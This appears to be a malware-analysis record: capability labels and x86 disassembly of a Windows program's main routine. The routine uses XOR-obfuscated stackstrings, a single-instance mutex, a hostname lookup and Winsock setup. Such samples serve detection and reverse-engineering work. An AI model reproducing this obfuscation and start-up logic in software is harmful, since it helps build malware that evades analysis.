Function at 0x4055df
Capabilities:
Check mutex and terminate process on windows
Check mutex on windows
Contain obfuscated stackstrings
Encode data using xor
Get hostname
Initialize winsock library
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0xa4
push ebx
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [0x5195a0], eax
call fcn.0040abd1
call fcn.0040aeb5
call fcn.00408e2e
mov eax, dword [0x5140c3]
xor ebx, ebx
inc eax
push eax
push 0x519a90
push 0xffffffffffffffff
push 0x5140c7
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov edx, dword [0x514147]
mov ecx, 0x51414b
call fcn.00404369
mov dword [0x519a8c], eax
call fcn.00407413
call fcn.00401689
call fcn.00406cb5
call fcn.0040a0b9
lea ecx, [esp + 0x74]
call fcn.00407109
lea ecx, [esp + 0x74]
call fcn.004087dd
push 0x519688
lea eax, [esp + 0x78]
push 0x202
mov dword [0x519824], eax
call dword [sym.imp.WS2_32.dll_WSAStartup]
lea eax, [esp + 0x70]
mov dword [esp + 0x70], 0x40
push eax
push 0x519608
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
push 0x5195cc
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
movzx edx, byte [0x516262]
lea ecx, [esp + 0x74]
call fcn.0040ecd9
mov dword [esp + 0x54], 0x7e
mov edx, ebx
mov byte [esp + 0x58], 0x2d
mov byte [esp + 0x59], 0x7e
mov byte [esp + 0x5a], 0x1b
mov byte [esp + 0x5b], 0x7e
mov byte [esp + 0x5c], 0xd
mov byte [esp + 0x5d], 0x7e
mov byte [esp + 0x5e], 0xd
mov byte [esp + 0x5f], 0x7e
mov byte [esp + 0x60], 0x17
mov byte [esp + 0x61], 0x7e
mov byte [esp + 0x62], 0x11
mov byte [esp + 0x63], 0x7e
mov byte [esp + 0x64], 0x10
mov byte [esp + 0x65], 0x7e
mov byte [esp + 0x66], 0x44
mov byte [esp + 0x67], 0x7e
mov byte [esp + 0x68], 0x5e
mov byte [esp + 0x69], 0x7e
mov byte [esp + 0x6a], 0x5b
mov byte [esp + 0x6b], 0x7e
mov byte [esp + 0x6c], 0xd
mov byte [esp + 0x6d], 0x7e
mov byte [esp + 0x6e], 0x7e
mov al, byte [esp + 0x58]
mov byte [esp + 0x6f], bl
mov al, byte [esp + edx + 0x58]
mov ecx, dword [esp + 0x54]
xor cl, al
mov byte [esp + edx + 0x58], cl
inc edx
cmp edx, 0x17
jb 0x405731
mov byte [esp + 0x6f], bl
mov edx, ebx
mov dword [esp + 0x10], 0x32
mov eax, dword [esp + 0x10]
xor al, 0x73
mov byte [esp + 0x14], al
mov eax, dword [esp + 0x10]
inc al
mov byte [esp + 0x15], al
mov eax, dword [esp + 0x10]
add al, 2
xor al, 0x74
mov byte [esp + 0x16], al
mov eax, dword [esp + 0x10]
add al, 3
mov byte [esp + 0x17], al
mov eax, dword [esp + 0x10]
add al, 4
xor al, 0x61
mov byte [esp + 0x18], al
mov eax, dword [esp + 0x10]
add al, 5
mov byte [esp + 0x19], al
mov eax, dword [esp + 0x10]
add al, 6
xor al, 0x72
mov byte [esp + 0x1a], al
mov eax, dword [esp + 0x10]
add al, 7
mov byte [esp + 0x1b], al
mov eax, dword [esp + 0x10]
add al, 8
xor al, 0x74
mov byte [esp + 0x1c], al
mov eax, dword [esp + 0x10]
add al, 9
mov byte [esp + 0x1d], al
mov eax, dword [esp + 0x10]
add al, 0xa
xor al, 0x65
mov byte [esp + 0x1e], al
mov eax, dword [esp + 0x10]
add al, 0xb
mov byte [esp + 0x1f], al
mov eax, dword [esp + 0x10]
add al, 0xc
xor al, 0x64
mov byte [esp + 0x20], al
mov eax, dword [esp + 0x10]
add al, 0xd
mov byte [esp + 0x21], al
mov eax, dword [esp + 0x10]
add al, 0xe
mov byte [esp + 0x23], bl
mov byte [esp + 0x22], al
mov al, byte [esp + 0x14]
mov al, byte [esp + edx + 0x14]
mov ecx, dword [esp + 0x10]
add cl, dl
xor cl, al
mov byte [esp + edx + 0x14], cl
inc edx
cmp edx, 0xf
jb 0x4057fd
push 0x5194a0
lea eax, [esp + 0x5c]
mov byte [esp + 0x27], bl
push eax
lea eax, [esp + 0x1c]
push eax
call fcn.00411c06
add esp, 0xc
lea ecx, [esp + 0x74]
call fcn.0040a7db
xor edi, edi
inc edi
cmp byte [0x516262], bl
jne 0x4058da
cmp byte [0x516260], bl
jne 0x4058da
lea ecx, [esp + 0x74]
call fcn.004073f4
test eax, eax
je 0x4058da
mov byte [esp + 0x3d], 0x4c
mov byte [esp + 0x3e], 0x4f
mov byte [esp + 0x3f], 0x61
mov byte [esp + 0x40], 0x4b
mov byte [esp + 0x41], 0x5c
mov byte [esp + 0x42], 0x4f
mov byte [esp + 0x43], 0x4c
mov byte [esp + 0x44], 0x4f
mov byte [esp + 0x45], 0x4b
mov byte [esp + 0x46], 0x5d
mov byte [esp + 0x47], 0x5e
mov byte [esp + 0x48], 0x40
mov byte [esp + 0x49], 0x40
mov byte [esp + 0x4a], 0x40
mov byte [esp + 0x4b], bl
mov al, byte [esp + 0x3d]
mov eax, ebx
sub byte [esp + eax + 0x3d], 0xa
inc eax
cmp eax, 0xe
jb 0x4058af
push ebx
lea eax, [esp + 0x41]
push eax
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
je 0x4058da
push edi
call dword [sym.imp.KERNEL32.dll_ExitProcess]
call fcn.00409519
mov esi, eax
cmp byte [esi + 0x41e2], bl
jne 0x4059cf
cmp byte [esi + 0x41e0], bl
je 0x40590e
lea ecx, [esp + 0x74]
call fcn.004073f4
test eax, eax
je 0x40590e
call fcn.004019fb
mov ecx, eax
call fcn.00409585
cmp byte [esi + 0x41e2], bl
jne 0x4059cf
cmp byte [esi + 0x41e1], bl
je 0x40593b
lea ecx, [esp + 0x74]
call fcn.004073f4
test eax, eax
je 0x40593b
call fcn.004019fb
mov ecx, eax
call fcn.00409abb
cmp byte [esi + 0x41e2], bl
jne 0x4059cf
lea ecx, [esp + 0x74]
call fcn.004073f4
test eax, eax
je 0x4059cf
cmp byte [esi + 0x41dd], bl
je 0x405961
call fcn.0040c338
cmp byte [esi + 0x41de], bl
je 0x405980
call fcn.00409ebc
test eax, eax
jne 0x405980
call fcn.00409e62
test eax, eax
je 0x405980
call fcn.0040bb5f
cmp byte [esi + 0x41dc], bl
je 0x40599d
call fcn.0040b21b
call fcn.00409e62
test eax, eax
je 0x40599d
xor ecx, ecx
call fcn.0040b87a
cmp byte [esi + 0x41db], bl
je 0x4059aa
call fcn.0040b8a2
cmp byte [esi + 0x41d8], bl
je 0x4059bb
lea ecx, [esp + 0x74]
call fcn.0040a715
cmp byte [esi + 0x41d9], bl
je 0x4059cf
call fcn.00406a84
mov ecx, edi
call fcn.00406bf0
call fcn.00406c35
test eax, eax
je 0x4059e9
lea ecx, [esp + 0x74]
call fcn.004073f4
test eax, eax
jne 0x405b65
cmp byte [esi + 0x41df], bl
jne 0x405a92
mov dword [esp + 0x24], 0x51
lea ecx, [esp + 0x24]
mov eax, dword [esp + 0x24]
xor al, 0x42
mov byte [esp + 0x28], al
mov eax, dword [esp + 0x24]
inc al
mov byte [esp + 0x29], al
mov eax, dword [esp + 0x24]
add al, 2
xor al, 0x45
mov byte [esp + 0x2a], al
mov eax, dword [esp + 0x24]
add al, 3
mov byte [esp + 0x2b], al
mov eax, dword [esp + 0x24]
add al, 4
xor al, 0x47
mov byte [esp + 0x2c], al
mov eax, dword [esp + 0x24]
add al, 5
mov byte [esp + 0x2d], al
mov eax, dword [esp + 0x24]
add al, 6
xor al, 0x49
mov byte [esp + 0x2e], al
mov eax, dword [esp + 0x24]
add al, 7
mov byte [esp + 0x2f], al
mov eax, dword [esp + 0x24]
add al, 8
xor al, 0x4e
mov byte [esp + 0x30], al
mov eax, dword [esp + 0x24]
add al, 9
mov byte [esp + 0x31], al
mov eax, dword [esp + 0x24]
add al, 0xa
mov byte [esp + 0x33], bl
mov byte [esp + 0x32], al
mov al, byte [esp + 0x28]
call fcn.00405c09
mov edx, eax
call fcn.004019fb
mov ecx, eax
call fcn.0040af2d
call fcn.00408c94
mov ecx, edi
call fcn.00408d5c
call fcn.00406c35
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x405abc
call fcn.00409f0e
push 0x3e8
call edi
call fcn.00406c35
test eax, eax
je 0x405aab
mov byte [esp + 0x37], 0x37
lea ecx, [esp + 0x37]
mov byte [esp + 0x38], 0xa
mov byte [esp + 0x39], 0x48
mov byte [esp + 0x3a], 0xa
push ebx
mov byte [esp + 0x3f], 0xa
push ebx
mov byte [esp + 0x44], bl
mov al, byte [esp + 0x3f]
push 0xf
call fcn.00405bfa
mov edx, eax
lea ecx, [esp + 0x80]
call fcn.00407183
add esp, 0xc
jmp 0x405b0d
call fcn.00409f0e
push 0x3e8
call edi
call fcn.00408dbb
test eax, eax
je 0x405b01
cmp byte [esi + 0x41df], bl
jne 0x405b60
mov byte [esp + 0x4c], 0x47
lea ecx, [esp + 0x4c]
mov byte [esp + 0x4d], 2
mov byte [esp + 0x4e], 0x50
mov byte [esp + 0x4f], 2
mov byte [esp + 0x50], 0x46
mov byte [esp + 0x51], 2
mov byte [esp + 0x52], 2
mov byte [esp + 0x53], bl
mov al, byte [esp + 0x4c]
call fcn.00405beb
mov edx, eax
call fcn.004019fb
mov ecx, eax
call fcn.0040af2d
call fcn.0040a63c
cmp byte [esi + 0x41e2], bl
jne 0x405b76
call fcn.00411b3f
test eax, eax
je 0x405bb9
mov esi, dword [sym.imp.USER32.dll_GetMessageW]
lea edi, [esp + 0x94]
push 7
pop ecx
xor eax, eax
rep stosd dword es:[edi], eax
jmp 0x405ba8
lea eax, [esp + 0x94]
push eax
call dword [sym.imp.USER32.dll_TranslateMessage]
lea eax, [esp + 0x94]
push eax
call dword [sym.imp.USER32.dll_DispatchMessageW]
push ebx
push ebx
push ebx
lea eax, [esp + 0xa0]
push eax
call esi
test eax, eax
jne 0x405b8c
lea ecx, [esp + 0x74]
call fcn.00407172
call fcn.00407ccb
call fcn.00401a01
call fcn.00406f36
call fcn.0040a624
call fcn.00408c37
call fcn.00406a4a
call fcn.00411a8a
push ebx
jmp 0x4058d4